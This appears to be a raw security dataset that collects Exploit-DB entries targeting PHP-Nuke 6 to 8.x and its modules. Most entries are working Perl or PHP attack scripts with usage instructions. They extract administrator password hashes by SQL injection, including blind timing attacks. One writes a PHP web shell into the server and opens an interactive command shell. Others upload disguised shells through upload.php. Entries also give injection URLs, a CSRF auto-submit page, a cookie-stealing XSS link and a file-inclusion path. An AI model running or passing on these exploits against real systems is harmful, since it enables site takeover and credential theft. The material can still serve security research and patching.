deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3346
Description: PHP-Nuke 8.0 Final - HTTP Referers SQL Injection
Type: webapps
Platform: php
Date: 2007-02-20
Author: krasza

Exploit:
#!/usr/bin/perl 
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version, when 'HTTP Referers' block is on
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#Screenshot:
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version, when 'HTTP Referers' block is on
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#
#[+]You can see login and hash on web page in 'HTTP referers' block
#[+]Exploit successed
use strict;
use warnings;
use LWP;
my $adres=shift or help();
my $ua = LWP::UserAgent->new;
my $zadanie = HTTP::Request->new(GET => $adres);
my ($respone,$referer);
banner();
	$referer="http://www.krasza.int.pl'),(NULL,(SELECT `pwd` FROM `nuke_authors` WHERE `radminsuper`=1))/*";
	$zadanie->referer($referer);
	$respone=$ua->request($zadanie);
	$respone->is_success or die "$adres : ",$respone->message,"\n";
        $referer="http://www.krasza.int.pl'),(NULL,(SELECT `aid` FROM `nuke_authors` WHERE `radminsuper`=1))/*";
	$zadanie->referer($referer);
	$respone=$ua->request($zadanie);
        $respone->is_success or die "$adres : ",$respone->message,"\n";
	print "[+]You can see login and hash on web page in 'HTTP referers' block\n";
	print "[+]Exploit successed\n";
sub banner{
	print "0day exploit for PHP-nuke <=8.0 Final\n";
        print "Sql injection attack in INSERT syntax\n";
	print "version, when 'HTTP Referers' block is on\n";
        print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
}
sub help{
	print "0day exploit for PHP-nuke <=8.0 Final\n";
	print "Sql injection attack in INSERT syntax\n";
	print "version, when 'HTTP Referers' block is on\n";
	print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
	print "Use:\n";
	print "\tperl exploit.pl [url]\n";
	print "\t[url]-vicitim webpage with index.php\n";
	print "Example:\n";
	print "\tperl exploit.pl http://phpnuke.org/index.php\n";
	exit(0);
}

# milw0rm.com [2007-02-20]
Exploit-DB #29866
Description: PHP-Nuke 8.0.3.3b - SQL Injection Protection Bypass / Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-04-17
Author: Aleksandar

Exploit:
source: https://www.securityfocus.com/bid/23528/info

PHP-Nuke is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

PHP-Nuke 8.0.0.3.3b is vulnerable to these issues; other versions may also be affected. 

http://www.example.com/nuke/?%2f*

http://www.example.com/html80/?%2f**/UNION%2f**/SELECT
Exploit-DB #14320
Description: PHP-Nuke 8.1.0.3.5b (Your_Account Module) - Blind SQL Injection (Benchmark Mode)
Type: webapps
Platform: php
Date: 2010-07-10
Author: yawn

Exploit:
# PHP-Nuke <= 8.1.0.3.5b (Your_Account Module) Remote Blind SQL Injection (Benchmark Mode)
# Author: yawn
# Contact Me: http://www.unitx.net
# Requirements: magic_quotes_gpc : off
# Greetings: #0day@irc.iside.us | #Unit-X@irc.unitx.net | Dante90

#	You will remember, Watson, how the dreadful business of the
#   Abernetty family was first brought to my notice by the depth which the
#   parsley had sunk into the butter upon a hot day.
#		                                        -- Sherlock Holmes

use strict;
use warnings;
use LWP::UserAgent;

sub Nuke::Bench {
	my $hosto = $_;
        my $website = LWP::UserAgent->new;
        my $average = 0;
        print "[+] Calculating average load time (may take a while) ...\n";
        for (my $i = 0; $i < 5 ; $i++) {
                my $bef = time();
                my $out = $website->get($hosto);
                my $time = time();
                $average += int($time-$bef);
        }
        return $average/5;
}

sub Nuke::Usage() {
        print "[+] Usage: perl nuke.pl <host>\n";
        print "[+]        the host must be the complete path to modules.php\n";
        print "[+] Example: perl nuke.pl http://www.site.com/modules.php\n";    
}

sub Nuke::Banner() {
        print "[+] Remote Blind SQL Injection (Benchmark Mode) PHP-Nuke 8.1.0.3.5b\n";
        print "[+] I'm not responsable for an illegal use of this exploit\n";
        print "[+] Date: 06-02-2010\n";
        print "[+] Author: yawn\n";
}
Nuke::Banner();
my $host = shift || die Nuke::Usage();
$host .= "?name=Your_Account&op=activate&username=WTF";
my $time = Nuke::Bench($host);
my $attack = LWP::UserAgent->new;
my $pass = "";
$attack->agent('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100407 Ubuntu/9.04 (jaunty) Shiretoko/3.5.9');
my @charset  =  (48..57, 97..102); 
print "[+] Average load time is $time\n";
print "[+] Trying to exploit the SQL Injection\n";

for (my $j = 1; $j <=32; $j++) {
	sleep(3); # PHP-Nuke has a special anti-flood system
	foreach (@charset) {
		sleep(2);
		print "[+] Now trying with $_ \n";
		my $before = time();
		my $resp = $attack->post($host,
		{ check_num => "'UNION/**/SELECT IF(SUBSTRING(pwd,$j,1) = CHAR($_),sleep(6),null),1,2,3,4,5,6 FROM nuke_authors WHERE radminsuper='1" }, 
		Referer => $host);
		my $after = time();
		if(int($after-$before) > ($time + 4)) {
			print "[+] Success with ".chr($_)."\n";
			$pass .= chr($_);
			last;
		}
	}
}
print "[+] MD5 Hash : $pass\n";
Exploit-DB #14319
Description: PHP-Nuke 8.1.0.3.5b - Remote Command Execution
Type: webapps
Platform: php
Date: 2010-07-10
Author: yawn

Exploit:
# PHP-Nuke <= 8.1.0.3.5b Remote Command Execution Exploit
# Author/s: Dante90 & yawn
# Contact Us: www.unitx.net
# Requirements: magic_quotes_gpc : off
# Greetings: #0day@irc.iside.us | #Unit-X@irc.unitx.net

#	You will remember, Watson, how the dreadful business of the
#   	Abernetty family was first brought to my notice by the depth which the
#   	parsley had sunk into the butter upon a hot day.
#		                                        -- Sherlock Holmes

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;

sub Nuke::Usage {
	print " \n [0-Day] PHP-Nuke <= 8.1.0.3.5b Remote Command Execution Exploit\n";
	print " ------------------------------------------------------ \n";
	print " * USAGE:                                             *\n";
	print " * cd [Local Disk]:\\                                  *\n";
	print " * perl name_exploit.pl [host] [username] [password]  *\n";
	print " * -> REMEMBER TO ADD THE FINAL / TO THE HOSTNAME <-  *\n";
	print " ------------------------------------------------------ \n";
	print " *             Powered By Dante90 & yawn              *\n";
	print " *  	               www.unitx.net                  *\n";
	print " ------------------------------------------------------ \n";
}

#VARS
system $^O eq 'MSWin32' ? 'cls' : 'clear';
Nuke::Usage();
my $host = shift || die;
my $cmd;
my $shell = "<?php echo system(\$_GET[\"cmd\"]); ?>"; # Change Here to
Set your custom shell (for example use system() );
my $cookies = HTTP::Cookies->new;
my $request = LWP::UserAgent->new;
$request->agent("Mozilla 5/0");
$request->cookie_jar($cookies);
#END VARS
sub Full_Path_Disclosure() {
	my $Get = $request->get($host.'themes/NukeNews/theme.php');
	if ($Get->content =~ /No such file or directory in <b>(.+?)<\/b> on line/i) {
		return $1;
	} else {
		return "failed";
	}
}

print " * Getting Full Path\n";
my $path = Full_Path_Disclosure();
die " * Failed Path Extraction" if ($path eq "failed");
$path =~ s/themes(\/|\\)NukeNews(\/|\\)theme.php//g;
print " * Full Path Found: $path\n";
if ($path =~ m/\\/) {
	$path =~ s/\\/\\\\\\\\/g;
}
print " * Injecting Shell To $host\n";
my $req2= $request->post($host."modules.php?name=Your_Account&op=activate&username=WTF",
	{
		check_num => "'UNION/**/SELECT 1,2,3,4,5,6,'".$shell."' FROM
`nuke_authors` INTO OUTFILE '$path"."rce.php",
	},
	Referer => $host."index.php");
print " * Injecting Successfully Completed\n";
print " * Shell now available on $host"."rce.php\n";
print " * Connecting to remote shell\n";
sleep(4);
print " * Connected.. Type \"quit\" to quit\n";
while() {
		print "* root\@backdoor ~\$ ";
		$cmd = <>;
		chomp($cmd);
		last if $cmd eq "quit";
		$req2 = $request->get($host."/rce.php?cmd=".$cmd);
		print $req2->content."\n";
}
Exploit-DB #23289
Description: PHP-Nuke 8.2.4 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-12-11
Author: sajith

Exploit:
###########################################################
[~] Exploit Title:CSRF vulnerability
[~] Author: sajith
[~] version: PHP Nuke 8.2.4
[~] vulnerable app link:http://phpnuke.org/modules.php?name=Release
###########################################################
 [CSRF add group]

<html lang="en">
<head>
<title>CSRF POC( PHP nuke 8.2.4)</title>
</head>
<body>
<form action="http://127.0.0.1/phpnuke-release-8.2.4/phpnuke/html/admin.php"
id="formid" method="post">
<input type="hidden" name="name" value="testing" />
<input type="hidden" name="description"
value="testing+for+CSRF%3Cbr+%2F%3E" />
<input type="hidden" name="points" value="0" />
<input type="hidden" name="op" value="grp_add" />
</form>
<script>
document.getElementById('formid').submit();
</script>
</body>
</html>
Exploit-DB #35853
Description: PHP-Nuke 8.3 - 'upload.php' Arbitrary File Upload (1)
Type: webapps
Platform: php
Date: 2011-06-13
Author: pentesters.ir

Exploit:
source: https://www.securityfocus.com/bid/48257/info

Phpnuke is prone to an arbitrary-file-upload vulnerability because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this issue to upload arbitrary code and run it in the context of the webserver process.

Phpnuke 8.3 is vulnerable; other versions may also be affected. 

<?php
///////////////////////////////////////////////////
#Iranian Pentesters Home
#PHP Nuke 8.3 MT AFU Vulnerability
#Coded by:4n0nym0us & b3hz4d
#http://www.pentesters.ir
///////////////////////////////////////////////////
//Settings:
$address = 'http://your-target.com';
$file = 'shell.php.01';
$prefix='pentesters_';


//Exploit:
@$file_data = "\x47\x49\x46\x38\x39\x61\x05\x00\x05\x00";
@$file_data .= file_get_contents($file);
file_put_contents($prefix . $file, $file_data);
$file = $prefix . $file;
echo "\n" . "///////////////////////////////////" ."\n";
echo "     Iranian Pentesters Home" . "\n";
echo " PHP Nuke 8.3 MT RFU Vulnerability" . "\n";
echo "///////////////////////////////////" ."\n";
$address_c = $address . '/includes/richedit/upload.php';
$postdata = array("userfile" => "@$file;type=image/gif","upload" => "1","path" => "images","pwd" => "1");
$data =  post_data($address_c, $postdata);
$start = strpos($data, "<img src=\"upload");
if ($start != null)
{
$data = substr($data,$start + 10);
$end = strpos($data, "\"");
$data = substr($data,0,$end);
echo "\n" . "Uploaded File: " . $address . "/includes/richedit/" . $data . "\n";
}
else
echo "\n" . "Upload Failed!!!";
function post_data($address, $data)
{
    $curl = curl_init($address);
    curl_setopt($curl, CURLOPT_USERAGENT, "Opera/9.0 (Windows NT 5.0; U; en)");
    curl_setopt($curl, CURLOPT_POST, 1);
    curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
    $content = curl_exec($curl);
    curl_close($curl);
    return $content;
}
?>
Exploit-DB #35854
Description: PHP-Nuke 8.3 - 'upload.php' Arbitrary File Upload (2)
Type: webapps
Platform: php
Date: 2011-06-13
Author: pentesters.ir

Exploit:
source: https://www.securityfocus.com/bid/48257/info
 
Phpnuke is prone to an arbitrary-file-upload vulnerability because the application fails to adequately sanitize user-supplied input.
 
An attacker can exploit this issue to upload arbitrary code and run it in the context of the webserver process.
 
Phpnuke 8.3 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl
###################################################
#//Iranian Pentesters Home
#//PHP Nuke 8.3 MT AFU Vulnerability
#//Coded by:4n0nym0us & b3hz4d
#//http://www.pentesters.ir
###################################################


use LWP;
use HTTP::Request::Common;
print "\n" . "///////////////////////////////////" ."\n";
print "     Iranian Pentesters Home" . "\n";
print " PHP Nuke 8.3 MT AFU Vulnerability" . "\n";
print "///////////////////////////////////" ."\n";
print "\n" . "Syntax: perl xpl.pl http://your-target.com shell.php.01 [prefix]" . "\n\n";
my $url   = $ARGV[0]."/includes/richedit/upload.php";
my $filename = $ARGV[1];
my $prefix = $ARGV[2];
my $rfile = $prefix . $filename . ".gif";
open fhandle, $ARGV[1] or die $!; 
while (<fhandle>){
$shell .= $_;
}
close fhandle;
open fhandle, ">", $rfile or die $!;
print fhandle "\x47\x49\x46\x38\x39\x61\x05\x00\x05\x00"."\n".$shell;
close(fhandle);
my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.12) Gecko/20101026");
my $req = POST $url, Content_Type => 'form-data',
	Content      => [
		upload => "1",
		path => 'images',
		pwd => "1",
		userfile =>  [ $rfile,$prefix . $filename ]
	];
my $res = $ua->request($req);
$between=substr($res->as_string(), index($res->as_string(), '<img src="upload/')+10, index($res->as_string(), 'onclick="self.parent.') - index($res->as_string(), '<img src="upload/')-12);
print("Uploaded File: " . $ARGV[0]."/includes/richedit/".$between);
exit;
Exploit-DB #14589
Description: PHP-Nuke 8.x - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-08-09
Author: ITSecTeam

Exploit:
#Title: Php Nuke Blind Sql Injection 8.x.x
#Vendor: http://www.php-nuke.org/
#######################################################################
#AUTHOR:  ITSecTeam
#Email:   Bug@ITSecTeam.com
#Website: http://www.itsecteam.com
#Forum :  http://forum.ITSecTeam.com
#Advisory:www.ITSecTeam.com/en/vulnerabilities/vulnerability58.htm
#Thanks:  M3hr@n$,r3dm0v3,am!rkh@n,Platen,Erfan.Blackhat and Dosib
#Discovered By Amin Shokohi(Pejvak)
######################################################################

Poc :modules\Web_Links\index.php line:223
function Add($title, $url, $auth_name, $cat, $description, $email) {
global $prefix, $db, $user;
$url = filter($url, "nohtml");
$result = $db->sql_query("SELECT url from ".$prefix."_links_links where
url='$url'");
$numrows = $db->sql_numrows($result);
if ($numrows>0) {......

######################################################################
#Bug : http://site.com/modules.php?name=Web_Links&l_op=Add&url=sql Injection
######################################################################
Exploit-DB #4964
Description: PHP-Nuke < 8.0 - 'sid' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-22
Author: RST/GHC

Exploit:
<?php
error_reporting (E_ERROR);
ini_set("max_execution_time",0);

echo '
+=========================================+
| RST/GHC unpublished PHP Nuke exploit <8 |
+=========================================+
<+> version <8.0
<+> Tested on 7.9 & 6.0
';

if ($argc < 2){
print "Usage: " . $argv[0] . " <host> <version> [table prefix]\n";
print "ex.: " . $argv[0] . " phpnuke.org 7\n";
credits();
exit;
}


/* few definitions */
if (empty($argv[3])){ $prefix = 'nuke';} #define tables prefix
else {$prefix = $argv[3];}

switch ($argv[2]){
case "6":
$query ="modules.php?name=News&file=article&sid=99999999+UNION+SELECT+null%20as%20catid,pwd%20as%20aid,null%20as%20time,pwd%20as%20title,null%20as%20hometext,aid%20as%20bodytext,null%20as%20topic,null%20as%20informant,null%20as%20notes,null%20as%20acomm,%20null%20as%20haspoll,null%20as%20pollID,null%20as%20score,null%20as%20ratings%20FROM%20%60".$prefix."_authors%60%20WHERE%20%60radminsuper%60%20='1'";
$version = 6;
break;
default:
$query ="modules.php?name=News&file=article&sid=99999999'+UNION+SELECT+null%20as%20catid,pwd%20as%20aid,null%20as%20time,pwd%20as%20title,null%20as%20hometext,aid%20as%20bodytext,null%20as%20topic,null%20as%20informant,null%20as%20notes,null%20as%20acomm,%20null%20as%20haspoll,null%20as%20pollID,null%20as%20score,null%20as%20ratings%20FROM%20%60".$prefix."_authors%60%20WHERE%20%60radminsuper%60%20='1";
$version = 7;
break;
}

$host = 'http://' . $argv[1] . '/'; # argv[1] - host
$http = $host . $query;
echo
'[+] host: '.$host . '
[+] nuke version: '.$version.'
';
#DEBUG
//print $http . "\n";

$result = file_get_contents($http);

preg_match("/([a-f0-9]{32})/", $result, $matches);
if ($matches[0]) {print "Admin's Hash: ".$matches[0];
if (preg_match("/(?<=\<br\>\<br\>)(.*)(?=\"\<\/i\>)/", $result, $match)) print "\nAdmin's name: " .$match[0];}
else {echo "Exploit failed...";}

credits();


function credits(){
print "\n\n+========================================+\n\r Coded by Foster \n\r Copyright (c) RST/GHC";
print "\n\r+========================================+\n";
exit;
}

?>

# milw0rm.com [2008-01-22]
Exploit-DB #4447
Description: PHP-Nuke addon Nuke Mobile Entartainment 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2007-09-23
Author: h4ck3r

Exploit:
# Nuke Mobile Entartainment <= (module_name) Local File Include Vuln

# Script : Nuke Mobile Entartainment

# Version : 1

# Download : http://www.suonerie-polifoniche-gratis.net/mobilentertainment.zip

# BorN To K!LL <> AsbMay's Group ...

# Vuln. Code :

# include 'modules/'.$module_name.'compatibility/data/marque.data.php';

# ExploiT : [path]/data/compatible.php?module_name=[Local File]%00

# Greetings 2 : str0ke - Dr.2 - AsbMay's Group - GoLd_M - KuWaiT SeCuriTy

# milw0rm.com [2007-09-23]
Exploit-DB #21206
Description: PHP-Nuke AddOn PHPToNuke.php 1.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-01-06
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/3807/info

phptonuke.php is a PHPNuke AddOn script to insert a PHP script into the middle of a PHPNuke site. It is written and maintained by Lebios.

It is possible for a malicious user to create a link to the phptonuke.php script which contains script code. When an unsuspecting web user browses the link, the script code will be executed in their browser in the context of the PHPNuke site.

This type of attack may be used to hijack a legitimate user's session via theft of cookie-based authentication credentials.

http://phpnukesite/phptonuke.php?filnavn=<script>alert(document.cookie)</script>
Exploit-DB #30750
Description: PHP-Nuke Advertising Module 0.9 - 'modules.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-11-12
Author: 0x90

Exploit:
source: https://www.securityfocus.com/bid/26406/info

The PHP-Nuke Advertising Module is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 


#!/usr/bin/perl
#Product: PHP-Nuke Module Advertising
#BugFounder: 0x90
#HomePage: WwW.0x90.COM.Ar
#Problem: Blind SQL Injection



use strict;
use warnings;
use LWP;
use Time::HiRes;
use IO::Socket;


my $host = "http://[url]/modules.php?name=Advertising";

my $useragent = LWP::UserAgent->new;
my $metodo = HTTP::Request->new(POST =$host);

my $post;
my $inicio;
my $risposta;
my $fine;
my $tiempodefault;
my $tiempo;
my $i;
my $j;
my $hash;
my @array;

@array = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);


$post="login=a&pass=a&op=client_valid";
$tiempodefault=richiesta($post);
$hash="";

#QUERY RISULTANTE

#SELECT * FROM nuke_banner_clients WHERE login='a' UNION SELECT
0,0,0,0,0,0, IF((ASCII(SUBSTRING(`pwd`,
1,1))=112),benchmark(200000000,CHAR(0)),'falso') FROM nuke_authors WHERE
`radminsuper`=1/*


for ($i=1;$i<33;$i++)
{
for ($j=0;$j<16;$j++)
{
 $post="login=a' UNION SELECT 0,0,0,0,0,0, IF((ASCII(SUBSTRING(`pwd`," . $i
. ",1))=".$array[$j]."),benchmark(200000000,CHAR(0)),'falso') FROM
nuke_authors WHERE `radminsuper`=1/*&pass=a' UNION SELECT 0,0,0,0,0,0,
IF((ASCII(SUBSTRING(`pwd`," . $i . ",1))=".
$array[$j]."),benchmark(200000000,CHAR(0)),'falso') FROM nuke_authors WHERE
`radminsuper`=1/*&op=client_valid";
 $tiempo=richiesta($post);
 aggiorna($host,$tiempodefault,$j,$hash,$tiempo,$i);
 if($tiempo>10)
 {
  $tiempo=richiesta($post);
  aggiorna($host,$tiempodefault,$j,$hash,$tiempo,$i);
  if($tiempo>10)
  {
   $hash .=chr($array[$j]);
   aggiorna($host,$tiempodefault,$j,$hash,$tiempo,$i);
   $j=200;
  }
 }


}
if($i==1)
{
 if($hash eq "")
 {
  $i=200;
  print "El atake Fallo\n";
 }
}
}

print "Atake Terminado\n\n";

system("pause");


sub richiesta{
$post=$_[0];
$metodo->content_type('application/x-www-form-urlencoded');
  $metodo->content($post);
$inicio=Time::HiRes::time();
$risposta=$useragent->request($metodo);
$risposta->is_success or die "$host : ",$risposta->message,"\n";
$fine=Time::HiRes::time();
$tiempo=$fine-$inicio;
return $tiempo
}

sub aggiorna{
system("cls");
@array = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
print "PHP-Nuke Module Advertising Blind SQL Injection\n";
print "by 0x90\n";
print "Visit: WwW.0x90.CoM.Ar\n\n";
print "Victima : " . $_[0] . "\n";
print "Tiempo Default : " . $_[1] . " secondi\n";
print "Hash Bruteforce : " . chr($array[$_[2]]) . "\n";
print "Bruteforce n Caracter Hash : " . $_[5] . "\n";
print "Tiempo sql : " . $_[4] . " secondi\n";
print "Hash : " . $_[3] . "\n";
}
Exploit-DB #32140
Description: PHP-Nuke Book Catalog Module 1.0 - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-01
Author: H4ckCity Security Team

Exploit:
source: https://www.securityfocus.com/bid/30511/info


The Book Catalog module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/modules.php?name=BookCatalog&op=category&catid=1+-9+union+select+1,pwd+from+nuke_authors
http://www.example.com/modules.php?name=BookCatalog&op=category&catid=1+-9+union+select+1,aid+from+nuke_authors
Exploit-DB #28493
Description: PHP-Nuke Book Catalog Module 1.0 - 'upload.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2006-09-07
Author: osm

Exploit:
source: https://www.securityfocus.com/bid/19890/info

The Book Catalog module for PHP-Nuke is prone to a vulnerability that lets attackers upload arbitrary files.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Book Catalog 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/modules/BookCatalog/upload.php Upload c99 or r57 shell scripts http://www.example.com/modules/BookCatalog/images/bookimg/c99safemod.php
Exploit-DB #31281
Description: PHP-Nuke Classifieds Module - 'Details' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-21
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27930/info

The Classifieds module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/modules.php?name=Classifieds&mode=Details&id=-0000/**/union+select/**/000,111,222,000,aid,5,6,pwd,8,9,10,11/**/from/**/nuke_authors/*where%20admin%202%20-4